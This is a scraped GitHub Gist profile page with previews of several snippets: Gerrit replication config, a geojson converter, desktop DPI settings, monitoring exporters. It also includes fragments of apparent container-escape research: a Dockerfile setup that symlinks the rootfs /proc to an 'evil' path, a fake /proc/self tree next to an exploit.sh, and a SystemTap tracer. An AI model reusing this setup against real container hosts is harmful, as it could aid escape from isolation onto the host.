Skip to content

Instantly share code, notes, and snippets.

View leoluk's full-sized avatar

leoluk leoluk

View GitHub Profile
[gerrit]
replicateOnStartup = true
[remote "github-monogon"]
url = [email protected]:monogon-dev/${name}
projects = monogon
projects = infralib
push = +refs/heads/*:refs/heads/*
push = +refs/tags/*:refs/tags/*
timeout = 30
@leoluk
leoluk / shadowcalc.py
Created August 11, 2021 16:56
Converts geojson with polygon features to a JSON blob readable by http://shadowcalculator.eu
#!/usr/bin/env python3
"""
Converts geojson with polygon features to a JSON blob readable by http://shadowcalculator.eu
Usage: ./shadowcalc.py trees.geojson
"""
import sys
import json
import time
# .config/i3/config
exec xrandr --dpi 144
# .Xresources
Xft.dpi: 144
Xft.hinting: 1
Xft.hintstyle: hintslight
Xft.antialias: 1
[Service]
ExecStart=/usr/local/bin/folding_exporter -teamID 257832 -listen [::1]:8080
User=prometheus
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.target
#!/usr/bin/python3
# -*- coding: utf8 -*-
"""
Screen scrapes Allestörungen.de spark lines
"""
import sys
import requests
import lxml.html
package main
import (
"bytes"
"encoding/hex"
"github.com/prometheus/client_golang/prometheus"
"github.com/prometheus/client_golang/prometheus/promhttp"
"github.com/tendermint/tendermint/rpc/client"
"log"
"net/http"
# First container
cat <<EOF > Dockerfile.1
FROM busybox
ADD rootfs /
EOF
mkdir rootfs
ln -s evil/level1/level2 rootfs/proc
#!/usr/bin/stap
global root_ns;
probe begin
{
root_ns = mnt_ns();
printf("root ns: %d", root_ns);
printf("\n%20s %6s %16s %6s %16s %40s %s\n", "PP", "UID", "MNT_NS", "PID", "COMM", "FLAGS", "PATH");
}
root@dragon:~/leo2# find . -ls
642686 4 drwxr-xr-x 3 root root 4096 Sep 22 00:21 .
642727 4 drwxr-xr-x 4 root root 4096 Sep 22 00:00 ./rootfs
662833 4 -rwxr-xr-x 1 root root 62 Sep 22 00:00 ./rootfs/exploit.sh
654011 4 drwxr-xr-x 3 root root 4096 Sep 21 23:43 ./rootfs/proc
662371 4 drwxr-xr-x 4 root root 4096 Sep 21 23:44 ./rootfs/proc/self
662372 4 drwxr-xr-x 2 root root 4096 Sep 21 23:43 ./rootfs/proc/self/attr
662375 0 -rw-r--r-- 1 root root 0 Sep 21 23:43 ./rootfs/proc/self/attr/exec
662419 0 -rw-r--r-- 1 root root 0 Sep 21 23:44 ./rootfs/proc/self/status
662416 4 drwxr-xr-x 2 root root 4096 Sep 21 23:48 ./rootfs/proc/self/fd
root@dragon:~/leo2# find . -ls
642686 4 drwxr-xr-x 3 root root 4096 Sep 22 00:21 .
642727 4 drwxr-xr-x 4 root root 4096 Sep 22 00:00 ./rootfs
662833 4 -rwxr-xr-x 1 root root 62 Sep 22 00:00 ./rootfs/exploit.sh
654011 4 drwxr-xr-x 3 root root 4096 Sep 21 23:43 ./rootfs/proc
662371 4 drwxr-xr-x 4 root root 4096 Sep 21 23:44 ./rootfs/proc/self
662372 4 drwxr-xr-x 2 root root 4096 Sep 21 23:43 ./rootfs/proc/self/attr
662375 0 -rw-r--r-- 1 root root 0 Sep 21 23:43 ./rootfs/proc/self/attr/exec
662419 0 -rw-r--r-- 1 root root 0 Sep 21 23:44 ./rootfs/proc/self/status
662416 4 drwxr-xr-x 2 root root 4096 Sep 21 23:48 ./rootfs/proc/self/fd